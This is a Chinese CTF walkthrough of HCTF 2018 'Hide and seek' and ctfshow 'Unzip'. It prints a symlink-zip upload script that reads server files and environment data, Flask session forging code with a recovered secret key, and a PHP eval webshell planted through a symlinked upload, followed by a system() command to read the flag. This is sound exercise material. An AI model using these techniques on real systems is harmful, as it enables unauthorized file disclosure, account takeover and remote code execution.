[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow)

这篇具有很好参考价值的文章主要介绍了[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

 考核完对python软连接还是不熟悉,把这两道题在做一下

[HCTF 2018]Hideandseek

 登录注册之后发现可以上传文件,随便上传一个[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

回显说不是zip文件

 [HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

上传一个zip文件,发现他会自动解析

上传了一个

GIF89a

<?php @eval($_POST['zxc']); ?>

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

应该是python软链接,尝试一下

把/etc/passwd创建一个软连接然后进行压缩 移动到windows进行连接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

发现成功被解析

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接 创建读取flag的软连接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

发现没有回显,那应该是有其他的限制

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

在存储里找到了session值,怀疑进行了加密

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

破解一下 session_flask解密脚本

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

发现就是我登录的用户名

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

那用admin登陆一下试试

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

页面回显是这样的,说我不是admin,那核心思路就是伪造session加密,admin登录

已知的要session加密,python软连接  session伪造还需要Flask的SECRET_KEY

我们的关键就是找这个key

具体的可以参考我上篇wp

期中考核复现(web)-CSDN博客

可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表

通过它可以知道这道题的内核是什么

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

发现了东西

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接 接着读取

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

 也就是uwsgi服务器的配置文件,其中可能包含有源码路径

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

读取出来的源码,他的源码路径并不是这个

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

原题main.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 

利用脚本读一下源码

脚本

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()

python3 1z_python_exp.py http://75ec8792-b1c0-4924-9e5e-3891286d3c07.node4.buuoj.cn:81/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

通过源码可以看出来他的key值是伪随机数加密

app.config['SECRET_KEY'] = str(random.random()*100) 

也给了我们破解的方法

random.seed(uuid.getnode())

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

Python之random.seed()用法 - 简书

uuid.getnode()方法以48正整数形式获取硬件地址,也就是服务器的MAC地址

若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:

读取到他的mac地址是 7a:01:6b:0a:e7:9e

 [HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

通过Python3将其转换为十进制: 64341392183149

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接 种子值得到 64341392183149,编写Python构造SECRET_KEY的值:83.32926590066324

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

运行后,得到SECRET_KEY的值为:83.32926590066324,使用flask-session-cookie-manager构造Session: 

脚本:

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

python3 flask_session_cookie_manager3.py encode -s "83.32926590066324" -t "{'username': 'admin'}"

得到session值:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZTEtCw.AtIit8No9tp7uVS7eXb-UBQ4yUs

修改session值,得到flag 

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

Unzip 

还是,直接做软连接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

得到源码

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

 分析代码

1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。
 
2. `highlight_file(__FILE__);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。
 
3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。
 
4. `if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){`:使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。
 
5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。 

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

 因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

创建一个指向/var/www/html目录的软链接,因为html目录下是web环境(大部分情况是),为了后续可以getshell

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

可以看到这是一个链接文件,并且指向/var/www/html

打包到到1.zip,对link文件进行压缩  --symlinks表示压缩软连接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

接下来创建木马文件夹

接下来创建的这个目录要上面创建的文件夹名字相同,所以我们这里先将之前创建的文件夹删除再创建

mkdir命令功能:

通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

写入木马并打包,放到link文件夹里面 (加GIF89a的原因是之前直接用一句话木马会报错,连接不上)

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

打包成2.zip

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

上传木马,先上传1.zip,让其软连接指向var/www/html

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

返回 ,上传2.zip,进行rce,得到flag,传参 cmd=system('cat /f*');

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接

[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow),python软链接文章来源地址https://www.toymoban.com/news/detail-722987.html

到了这里,关于[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CISCN2023 unzip软链接getshell

    前言 在CTF与渗透实战中总是会出现文件上传的问题,而文件上传有两大决定性的因素 能上传 能解析、执行 文件上传不一定是为了getshell,而上传的文件种类也是千奇百怪,目前来说,文件上传比较多的是pdf、压缩包。 这个示例题目是2023年的CISCN的web题里的一道,原理就是服

    2024年02月09日
    浏览(31)
  • BUUCTF Misc [SUCTF2018]single dog & 我吃三明治 & sqltest & [SWPU2019]你有没有好好看网课?

    目录 [SUCTF2018]single dog 我吃三明治 sqltest [SWPU2019]你有没有好好看网课? 下载文件 使用kali的binwalk工具分析 进行文件分离 解压其中的压缩包,得到1.txt 看内容应该是js加密后的结果,复制到AAEncode在线解密网站 得到flag             flag{happy double eleven}  下载文件 使用010 eitor打

    2023年04月08日
    浏览(34)
  • python中的seek函数和tell函数详解(以及包含seek函数报错)

    seek函数用于移动文件中指针位置和指定指针移动偏移量大小。 seek()函数格式为: file. seek(offset[, whence]) offset是偏移量,可正可负,正数表示向后面移动offset位,负数表示向前面移动offset位; whence有0,1,2三个参数,0表示将指针移动到文件开头,1表示将指针移动到当前位置,

    2024年02月09日
    浏览(47)
  • CTFshow-pwn入门-栈溢出pwn49(静态链接pwn-mprotect函数的应用)

    首先我们先将pwn文件下载下来,然后赋上可执行权限,再来查看pwn文件的保护信息。 我们可以看到这是一个32位的pwn文件,并且保护信息开启了NX和canary,也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked!!!静态编译文件呀! 根据题目的提示,我们

    2024年02月13日
    浏览(31)
  • Python---文件、基本操作:打开open,写入write,关闭close,读取read/readlines,移动光标seek,mode模式

    文件: 内存中存放的数据在计算机关机后就会消失。 要长久保存数据 ,就要使用硬盘、光盘、U 盘等设备。 为了便于数据的管理和检索,引入了 “文件 ”的概念。 像移动硬盘,内存卡,网盘等等。 一篇文章、一段视频、一个可执行程序,都可以被保存为一个文件,并赋予

    2024年02月03日
    浏览(43)
  • labview 2020 (2018)调用python报错1663、1662、1661

    写在前面: 本贴适用于解决labview调用python时的1663/1662/1661报错,在网友铝合金蝴蝶的原创帖基础上补充了一些细节,以及必要的文件,步骤详细,可操作性强。 一、1663报错解决办法 labview官方对1663报错的解释: 安装python位数(32/64)与labview位数(32/64)不匹配, labview不支

    2023年04月08日
    浏览(29)
  • [20230903]完善hide.sql脚本2.txt

    [20230903]完善hide.sql脚本2.txt --//以前写的用来查询隐含参数的脚本如下: $ cat hide.sql col name format a40 col description format a66 col session_value format a22 col default_value format a22 col system_value format a22 select    a.ksppinm  name,    a.ksppdesc DESCRIPTION,    b.ksppstdf DEFAULT_VALUE,    b.ksppstvl SESSION_VALU

    2024年02月10日
    浏览(31)
  • 无涯教程-jQuery - hide( speed, callback)方法函数

    hide(speed,[callback])方法使用优美的动画隐藏所有匹配的元素,并在完成后触发可选的回调。 这是此方法使用的所有参数的描述- speed      -  代表三个预定义速度(\\\"slow\\\",\\\"normal\\\"或\\\"fast\\\")之一或运行动画的毫秒数(如1000)的字符串)。 callback -  这是可选参数,表示动画制作完成后要

    2024年02月15日
    浏览(26)
  • AttributeError: ‘list‘ object has no attribute ‘seek‘

    完整的报错为: 初步断定是 torch.load 出了问题。 通过 You can only torch.load from a file that is seekable 这句话可知torch只能load那些seekable的对象,而从 \\\'list\\\' object has no attribute \\\'seek\\\' 可以看出列表是没有seek属性的,于是猜想 torch.load 中传入的参数是列表(一般是传字符串)而导致了这

    2024年02月15日
    浏览(37)
  • 【CicadaPlayer】seek :SeekInCache(int64_t pos)的实现

    seek的pos就是pts值。 缓冲是list,那么插入的包是按照到达的顺序插入到list的,也就是无排序的。 包的pts 正常应该单调连续, 即使不单调连续,缓存也不在意。 seek的操作主要是先比较pos与mCurrentPos , pos 比 mCurrentPos 小,那么向后,向后就是从cache里查找pts 向前也是在cache里

    2024年02月11日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包